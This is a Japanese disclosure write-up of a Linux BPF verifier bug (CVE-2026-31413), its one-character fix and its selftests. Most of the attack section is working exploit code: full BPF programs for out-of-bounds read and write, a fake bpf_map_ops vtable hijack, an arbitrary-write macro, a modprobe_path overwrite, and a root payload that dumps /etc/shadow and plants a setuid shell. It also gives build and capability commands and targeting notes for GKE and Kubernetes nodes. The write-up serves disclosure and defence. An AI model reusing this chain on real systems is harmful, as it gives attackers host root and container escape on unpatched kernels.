
CVE-2026-31413: BPF verifierの健全性バグ - コンテナエスケープ
Linux BPF 検証器にサウンドネスバグを発見しました。push_stack() 呼び出し内の + 1 により、分岐したパスで ALU 命令が 1 つスキップされます。BPF_OR の場合、CPU が 0 | K = K を計算している間、検証器は dst = 0 と追跡します。完全なコンテナエスケープを書き上げました。BPF マップからの OOB 読み書き、vtable ハイジャック、modprobe_path 上書き、ホストでの root 取得です。その後、2 パッチのシリーズ(1 文字の検証器修正と 90 行のセルフテスト)を作成し、mainline にマージされました。
| CVE | CVE-2026-31413 |
| バグ分類 | 検証器のサウンドネス - レジスタ値の乖離 |
| 根本原因 | push_stack(env, env->insn_idx + 1, ...) が分岐パスで ALU 命令をスキップ |
| 導入 | bffacdb80b93 - Linux 7.0-rc1(2026 年 1 月 14 日) |
| 修正 | c845894ebd6f - Linux 7.0-rc5(2026 年 3 月 22 日) |
| 影響を受けるバージョン | 6.12.75+(stable バックポート dea9989a3f)から 7.0-rc4 まで |
| 影響 | 任意のカーネル R/W → コンテナエスケープ → ホスト root |
| 必要な権限 | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| 修正内容 | 1 文字: insn_idx + 1 → insn_idx |
maybe_fork_scalars() は、ARSH + 定数による AND/OR を検出すると検証器の状態をフォークします。プッシュされたパスは dst = 0 を取得し、ALU 命令をスキップします。AND では問題ありません。0 & K = 0 だからです。OR では誤りです。0 | K = K であり、0 ではありません。
検証器はレジスタがゼロだと考えます。CPU は K を持っています。これを使って BPF マップ値からの任意の OOB 読み書きを構築し、マップのカーネルアドレスを漏洩させ、偽の bpf_map_ops vtable を作成し、map_push_elem を array_map_get_next_key 経由でリダイレクトして任意書き込みを実現し、modprobe_path を上書きしました。未知のバイナリ形式をトリガーすると、カーネルがスクリプトを root として実行します。コンテナ内からホスト全体へのエスケープです。
2 パッチのシリーズ: 1 文字の検証器修正と、OR と AND のフォークをカバーする 90 行の BPF セルフテスト。Alexei Starovoitov により 3 月 22 日にマージされました。CVE-2026-31413 は Greg Kroah-Hartman により 4 月 12 日に割り当てられました。
eBPF を使うと、カーネルモジュールをコンパイルせずに小さなプログラムをカーネルにロードできます。パケットフィルタ、トレーシングフック、セキュリティポリシーなどです。問題は、ring 0 にコードを注入しているという点です。そのコードにバグがあれば、それはカーネルのバグです。
そのため、BPF プログラムが実行される前に、カーネルの検証器が考えられるすべての実行パスをシミュレートします。各レジスタが保持する内容(ポインタか?スカラか?どの範囲か?)を追跡し、すべてのメモリアクセスをマップ境界に対してチェックし、境界外の読み書きが発生し得るものをすべて拒否します。検証器がプログラムを安全と判断した場合、JIT がそれをネイティブマシンコードにコンパイルし、完全なカーネル権限で実行します。その時点以降、実行時の境界チェックはありません。検証器こそがセキュリティ境界です。
これが、検証器のサウンドネスバグが通常のメモリ破壊とは異なる理由です。ヒープオーバーフローや UAF では、1 つの破壊プリミティブを手に入れて、そこからヒープスプレー、オブジェクトのグルーミング、ウィンドウの競争といった作業が必要です。検証器のバグでは、レジスタの値についてカーネルに嘘を信じさせることができます。そのレジスタに依存するすべての境界チェックが通過します。カーネルは OOB アクセスを承認します。疑いなく実行します。レジスタの状態を正しく整えることができれば、そこからクリーンで信頼性の高いプリミティブを得られます。
maybe_fork_scalars() を監査していました。2026 年 1 月に bffacdb80b93 で追加された新しいコードです。状態フォークは常に興味深いものです。検証器が並行探索パスに分割される場所であり、いずれかのパスが誤った値を追跡すると、そのパスの下流すべてがサウンドでなくなるからです。
この関数は、ARSH + 定数ソースによる AND/OR を検出するとフォークします。プッシュされたパスは dst = 0 を取得し、ALU 命令をスキップします。push_stack(env, env->insn_idx + 1, ...) の行を読んで、すぐにピンときました。+ 1 により、プッシュされたパスは ALU 演算を実行しないのです。AND の場合、0 & K = 0 なのでスキップしても問題ありません。OR の場合、0 | K = K です。プッシュされたパスは、実際には K であるのに結果が 0 だと考えます。
その夜に BPF プログラムを書きました。ARSH 63 で {0, -1} を取得し、定数で OR し、条件分岐で検証器のパスを分離し、その「ゼロ」レジスタをマップポインタに加算しました。検証器は map_value + 0 を承認しました。CPU は map_value + K にアクセスしました。KASAN がテスト中の境界外アクセスを確認しました。
翌朝までに OOB 読み書きを達成。次の夜までにコンテナエスケープを達成しました。全体を通して Claude(Opus 4.5)を使用しました。検証器の状態フォークロジックの解析、エクスプロイトプリミティブのブレインストーミング、OOB を完全なエスケープチェーンに変える作業です。vtable ハイジャックのアプローチは、Claude が bpf_map_ops の関数ポインタを調べて呼び出し可能なガジェットを探すやり取りから生まれました。
コミット bffacdb80b93("bpf: Recognize special arithmetic shift in the verifier")は 2026 年 1 月 14 日に 7.0-rc1 で導入されました。Alexei Starovoitov によるもので、Puranjay Mohan と共同開発されました。LLVM の DAGCombiner パターンを処理するために maybe_fork_scalars() が追加されました。```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVMは `select_cc setlt X, 0, A, 0` を `sra + and` にlowerする。算術右シフトの
後、レジスタは `0`(非負入力)または `-1`(全ビットが1)のいずれかになる。
定数とのAND演算は `0` または `K` を生成する。
検証器は単一の `bpf_reg_state` で `{0, K}` を追跡できない。その符号付き範囲
`[0, K]` は過大近似であり、そのため有効なCiliumプログラムを拒否していた。
修正:検証器の状態をフォークする。一方のパスは `dst = 0` を、もう一方は
`dst = -1` を探索し、それぞれ正確な値を追跡する。
実装:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
プッシュされたパスでは2つのことが発生します:
0 に設定されるinsn_idx + 1、すなわちALU演算の後の命令で再開されるBPF_AND の場合: dst = 0 となり、ANDをスキップします。実行時: 0 & K = 0。一致。健全です。
BPF_OR の場合: dst = 0 となり、ORをスキップします。実行時: 0 | K = K。不一致。
検証器は 0 を認識します。CPUは K を持っています。非健全です。
この関数はオペコードをチェックしません。これはAND用に書かれたもので、命令をスキップすることが dst = 0 での実行と同じになる場面のためのものですが、ORにも適用されてしまいました。ORの場合、その等価性は成立しません。
トリガーパターンは5つの命令です:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
検証器は2つのパスを探索します:
**Current path** (`dst = -1`): ORが実行され、`-1 | K` は依然として `-1` です。
分岐 `r6 s< 0` が取られます。検証器は出口に従います。このパスは安全であり、
検証器はそれを確認します。
**Pushed path** (`dst = 0`, ORスキップ): `r6 = 0`。分岐 `r6 s< 0` は取られ
ません。検証器は `r9 += r6` にフォールスルーし、`r9 += 0` を確認して、
後続のメモリアクセスを範囲内として承認します。
**Runtime** (`dst = 0`, OR実行): マップ値は正なので、ARSH後、
`r6 = 0`。ORが実行されます: `0 | K = K`。分岐 `K s< 0` は取られません (K は
正)。`r9 += K` - `K` バイト分の範囲外アクセスであり、検証器によって
`r9 += 0` として承認されます。
私は `K` を制御します。任意のBPFマップ
値に対する任意オフセットのOOB読み取りまたは書き込み。
読み取りバージョンは、漏洩したデータをユーザースペースで取得するために2番目のマップに格納します。
書き込みバージョンは、3番目のマップから値をロードし、それをOOBオフセットに書き込みます。
両方とも検証器を通過します。
以下が完全な `oob_read_prog` です。これはエクスプロイトからの実際のコードであり、
疑似コードではありません:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
そしてOOB書き込み - 同じARSH+ORトリックですが、3つ目のマップからOOBオフセットに値を書き込みます:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
どちらのプログラムをトリガーする場合も、ソケットペアに接続してパケットを送り込みます:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
negate-and-add パターン(R7 = 0 - R6; R8 += R7)を使うと、マップの値から負の
オフセットに到達できます。そこは、マップ自身のメタデータが存在する場所です。
完全なチェーン:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### ターゲットレイアウト
`BPF_MAP_TYPE_ARRAY` は `struct bpf_array` によって支えられており、オフセット0に `struct bpf_map` を埋め込んでいます。実際のマップの値はオフセット264(`bpf_array` ヘッダー + アライメントの後)から始まります。したがって、`value[0]` から見ると、マップ自身のメタデータは既知の負のオフセットに位置します:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
私は、6.12.76-docker の vmlinux に対して pahole でこれらを検証した。検証した
カーネルでは、オフセットは正確に一致した。
必要なものはすべて、2回のOOB読み取りで得られる。
オフセット -136 の wait_list。 これは freeze_mutex.wait_list、
ミューテックスが競合していないときに自分自身を指す list_head です。その値は
&map->freeze_mutex.wait_list であり、マップ構造体へのカーネルポインタです。
128を引けばマップのベースアドレスが得られ、264を足せば value[0] のカーネル
アドレスが得られます。
オフセット -264 の ops。 これは bpf_map_ops vtable ポインタです。
未改変のカーネルでは、グローバルシンボル array_map_ops を指します。これを読むのは、
カーネルがパッチされていないことを確認し、クローン用のvtableアドレスを取得するためです。```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
この時点で、以下を入手している: マップのカーネルアドレス、自分が制御する
データ (`value[0]`) のアドレス、そして確認済みの vtable ポインタ。
### ステップ 2: 偽の Vtable
`bpf_map_ops` には 42 個の関数ポインタスロットがある。不要なスロットをゼロクリアするだけでは、カーネルは最初に触れた時点で NULL ポインタ参照を
起こす。そこで `/proc/kallsyms` からすべてのシンボルを解決し、
完全なコピーを構築する:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
Slot 15 は map_push_elem です。実際の array_map_ops ではこれはNULLです(配列はpushをサポートしていません)。これを array_map_get_next_key に置き換えます。
なぜ get_next_key なのか?そのシグネチャは次のとおりです:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
これは `*(u32 *)key` を読み取り、それをインクリメントして、その結果を `*(u32
*)next_key` に書き込みます。`map_push_elem` ディスパッチパス経由で呼び出された場合:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
flags 引数は next_key パラメータに渡ります。flags を制御すれば、書き込み先を制御できます。書き込まれる値は *(u32 *)value + 1 です。これは、プッシュバッファの先頭4バイトを設定することで予測できる小さな整数です。
偽のvtableを使用する前に、マップをそのvtableにリダイレクトし、カーネルが map_push_elem を通じてディスパッチするように型を変更する必要があります。順に実行される3回のOOB書き込み:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
型の変更は極めて重要です。ユーザー空間が `bpf(BPF_MAP_UPDATE_ELEM)` を
配列マップに対して呼び出すと、カーネルは `map_update_elem` 経由でディスパッチします。しかし、
キューマップの場合、同じシステムコールは `map_push_elem` 経由でディスパッチされ、これは現在
`array_map_get_next_key` を指しています。
私は、6 つすべての BPF プログラム(書き込み 3 つ + 復元 3 つ)を、何も破壊する *前* に
プリロードします。`ops` ポインタを破壊してしまうと、このマップを参照する新しい BPF プログラムを
ロードできなくなります。verifier は偽の vtable を辿ってクラッシュします。
すべてを事前に準備しておく必要があります。
### ステップ 4: map_push_elem による任意書き込み
これで、任意のカーネルアドレスに 4 バイト書き込めます:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() は flags = addr を指定して bpf(BPF_MAP_UPDATE_ELEM) を呼び出します。カーネルは、私が乗っ取った map_push_elem → array_map_get_next_key(map, push_buf, addr) にディスパッチします。それは *(u32 *)push_buf(すなわち val - 1)を読み取り、1 を加算して、val を *(u32 *)addr に書き込みます。
この書き込みプリミティブは、get_next_key による 4 バイトの u32 ストアです。アライメント制約はありません。カーネルは、指定したどのアドレスに対しても通常の *(u32 *)addr = val を実行します。
modprobe_path はカーネル内のグローバルな char[256] で、デフォルトは /sbin/modprobe です。カーネルが未知のマジックナンバーを持つ実行ファイルに遭遇すると、適切なモジュールをロードするために modprobe_path を root として呼び出します。これを自分が制御するパスで上書きし、未知のバイナリ形式をトリガーすると、カーネルは自分のスクリプトを root として実行します。
ターゲットのパスは /tmpn/mo です。任意の文字列を書き込むことはできません。get_next_key の整数インクリメントを使って一度に 4 バイトずつ書き込みます。ただし、必要な書き込みは 2 回だけです。```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
コンテナモードでは、`modprobe_path` はコンテナのものではなく、initマウント名前空間で解決されます。したがって、ペイロードスクリプトはホスト上の `/tmpn/mo` に存在する必要があります。`--pid=host` または共有PID名前空間を使用すると、`/proc/1/root/` を通じてホストのファイルシステムに到達できます。```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
実際の攻撃では、エクスプロイトは/proc/1/root/tmpn/moを介してホスト上の/tmpn/moにペイロードを書き込みます(これは、CiliumなどのサービスメッシュサイドカーやFalcoなどのモニタリングエージェントで標準であるように、ポッドが共有PID名前空間を持つ場合に到達可能です)。デモではこの手順を簡略化し、オーケストレータがホスト上にペイロードを事前配置するため、エクスプロイトは実行をトリガーするだけで済みます。
エクスプロイトはトリガーバイナリ(\xffの4バイト)を作成して実行します。カーネルはその形式を認識せず、modprobe_pathを検索し、/tmpn/moを見つけて、rootとして実行します。
ペイロード:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### Step 6: Cleanup
`modprobe_path` への書き込み後、あらかじめロードしておいた3つの復元プログラムを使ってマップヘッダー(type、max_entries、ops)を元に戻します。マップは通常の配列に戻ります。ぶら下がった偽のvtableもなければ、カーネルの不安定化もありません。このエクスプロイトはシングルショットで、クリーンな状態を残します。```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
私のデモ環境では、最初の OOB 読み取りから root シェルまでの完全なチェーンに 数秒かかりました。
コアのコンテナエスケープに加えて、同じプリミティブからさまざまなポスト
エクスプロイテーション機能を実証する、一連のスタンドアロン型エクスプロイト階層を
構築しました。各階層は、ARSH+OR の OOB 読み取り/書き込みセットアップ用の共有
ヘルパーライブラリ exploit_common.h を使用する、exploit/ 内の自己完結型 C ファイルです。
すべての階層は終了前にすべての変更を復元します。6.12.76 でテスト済みです。
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
または個別に:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
各ティアには CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG が必要です。
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## 影響を受けるユーザー
このエクスプロイトには `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN` が必要です。非特権コンテナや、堅牢化されたシステムの通常ユーザーアカウントでは入手できません。ただし、これらのケーパビリティを持つコンテキストは数多く存在します。
### 非特権BPFシステム
`kernel.unprivileged_bpf_disabled=0` の場合(`sysctl` で確認)、ローカルの任意ユーザーがBPFプログラムをロードできます。これは以前のディストリビューションではデフォルトであり、開発・テスト環境で有効化されていることがあります。そのようなシステムでは、これは単純なローカル権限昇格です。特別な権限なしで、任意ユーザーからrootになれます。
最近のほとんどのディストリビューションには `unprivileged_bpf_disabled=1` または `=2`(ロック)が標準搭載されているため、Ubuntu 22.04+、Debian 12+、Fedora、RHEL 9 などのデフォルトインストールではこの経路は閉じられています。
### Kubernetes / コンテナ環境
ここがこのバグの痛手となる箇所です。標準の非特権コンテナは `CAP_BPF` をドロップするため、このバグを誘発できません。しかし、多くのインフラストラクチャPodは昇格されたケーパビリティで実行されています。
| 製品 | デフォルト権限 | 備考 |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | ネットワークポリシー。全ノードで実行 |
| **Falco** | `privileged: true` | ランタイムセキュリティ。/dev をマウント |
| **Tetragon** | `privileged: true` | eBPFオブザーバビリティ |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 他7種 | メトリクス、ログ、APM |
| **Pixie** | `privileged: true` | eBPFベースのオブザーバビリティ |
| **Tracee** | `privileged: true` またはBPF caps | Aquaのランタイムセキュリティ |
これらは通常DaemonSetとして実行されます。つまり、ノードごとに1Pod、クラスタ全体に展開されます。攻撃者がこれらのPodのいずれかを侵害した場合(同一ノード上のWebサービスでのRCE、サプライチェーン攻撃、エージェントAPIへのSSRFなど)、このエクスプロイトを実行してホストのrootへエスケープするために必要なケーパビリティを手にすることになります。
**重要な注意点:** このエクスプロイトは、脆弱なコードを含むカーネル(6.12.75-6.12.79、6.18.x-6.18.20、6.19.x-6.19.10、7.0-rc1〜rc4)でのみ機能します。ほとんどの本番K8sクラスタは古いLTSカーネルを実行しています。エクスプロイト可能性を判断する前に、`uname -r` でノードのカーネルバージョンを確認してください。
1つのノードのホストrootから、他のノードへの横方向の移動は、通常、同じDaemonSet(共有サービスアカウント、マウントされたシークレットなど)を介して可能です。
### マネージドKubernetes(GKE、EKS、AKS)
Google GKEはデフォルトでDataplane V2としてCiliumを使用します。GKEノードがパッチ未適用の6.12.xカーネルを実行している場合(ノードプールのバージョンを確認)、Cilium Podの侵害はホストrootとノード乗っ取りに発展します。私はこのシナリオ専用にエクスプロイトを構築しました。だからこそ `exploit_gke.c` という名前なのです。
Amazon EKSとAzure AKSも、6.12.xカーネルをCiliumや類似のBPFベースのネットワークと共に実行している場合、影響を受ける可能性があります。特定のAMI/VMイメージのバージョンを確認する必要があります。
### Android
Androidはネットワークトラフィック計上(netd)、電力プロファイリング、メモリ追跡にeBPFを使用しています。現在のAndroidデバイス(14/15)は6.1 LTSカーネルを使用しており、**影響を受けません**。Android 16は6.12 LTSを採用する可能性があります。採用した場合、脆弱なバックポートが含まれていれば、攻撃面は `netd` や `system_server` などのBPFプログラムをロードするシステムサービスになります。
これは推測であり、Androidのカーネル採用スケジュールに依存します。追跡用にAndroid VRPに報告済みです。
### 共有カーネルコンテナ(LXC/LXD)
ホストカーネルを共有するシステムコンテナ(VMとは異なる)は完全に露出しています。共有カーネルの侵害 = ホストとその上の他のすべてのコンテナの侵害です。これは、Docker/containerdで「ホストそのものがVMである可能性がある」ホストへエスケープするのとは異なります。
### エスケープできないもの
これはゲストカーネルのバグであり、ハイパーバイザーエスケープではありません。EC2インスタンス内でエクスプロイトを実行すると、そのインスタンスではrootを取得できますが、Nitroハイパーバイザーをエスケープして物理ホストや他のテナントに到達することはできません。GCE、Azure VM、KVMなども同様です。ハードウェア境界は維持されます。
### 影響を受けるカーネル
| ブランチ | 影響を受けるバージョン | 修正済みバージョン |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` 〜 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` 〜 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` 〜 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 〜 7.0-rc4 | 7.0-rc5+ |
導入コミット: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
修正コミット: `c845894ebd6f`
`CAP_BPF` は安全なケーパビリティではありません。バリデーターのバグにより、任意のカーネル読み書きに変換されます。ワークロードPodにこれを付与する製品は、`CAP_SYS_ADMIN` として扱うべきです。
---
## 修正
1文字:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
insn_idx + 1 ではなく(ALU命令をスキップ)、insn_idx - その命令自体に分岐をプッシュします。
プッシュされたパスは dst = 0 でALU演算を再実行します:
0 & K = 0 ✓0 | K = K ✓元のアプローチは巧妙でした - 命令をスキップして結果をハードコードし、
プッシュされたパスでverifierのステップを1つ節約していました。しかし、その最適化は
dst = 0 で命令を実行した結果がゼロになる場合にのみ機能します。これは
ANDでは真、ORでは偽です。修正はその最適化を諦めます: 単に命令を再実行し、
verifierに任意のopcodeに対して正しい値を計算させます。
私は3つのパッチリビジョンを経ました:
maybe_fork_scalars() に opcode パラメータを追加し、
プッシュされたパスでORには dst = K、ANDには dst = 0 を設定。動作しましたが
複雑さが増しました。insn_idx + 1 ではなく
insn_idx にプッシュ。よりシンプルで、opcodeに依存せず、
スキップ対実行のバグのクラス全体を排除します。3月22日にAlexei Starovoitovによって c845894ebd6f としてマージされました。selftestsは
0ad1734cc559。レビューはEduard Zingerman、Acked-byはAmery Hung。
selftestsは3つのケースをカバーしています:
or_scalar_fork_rejects_oob - ARSH 63 + OR 8、value_size=8、オフセット8への
アクセスはOOB → 拒否されなければならないand_scalar_fork_still_works - 回帰テスト、ANDパスは依然として受理されるor_scalar_fork_allows_inbounds - OR 4、value_size=8、オフセット4は範囲内
→ 受理されなければならないLinusは d5273fd3ca0b ("Merge tag 'bpf-fixes'") を「OR命令に対する不健全なスカラーフォークの修正 (Daniel Wade)」というメモとともにマージしました。
c845894ebd6f ("bpf: maybe_fork_scalars() の BPF_OR における不健全なスカラーフォークを修正")0ad1734cc559 ("selftests/bpf: maybe_fork_scalars() の OR と AND の処理に関するテストを追加")bffacdb80b93 ("bpf: verifier で特別な算術シフトを認識")免責事項: このエクスプロイトコードは、責任ある開示とパッチマージの後に、教育および防御研究目的で公開されています。所有していないシステム、またはテストする明示的な許可がないシステムに対して使用しないでください。著者は誤用について責任を負いません。
